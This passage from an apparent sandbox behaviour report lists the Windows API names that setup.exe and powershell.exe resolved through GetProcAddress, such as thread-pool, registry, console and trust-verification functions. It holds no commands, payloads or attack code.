called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007752) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00006612) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006612) 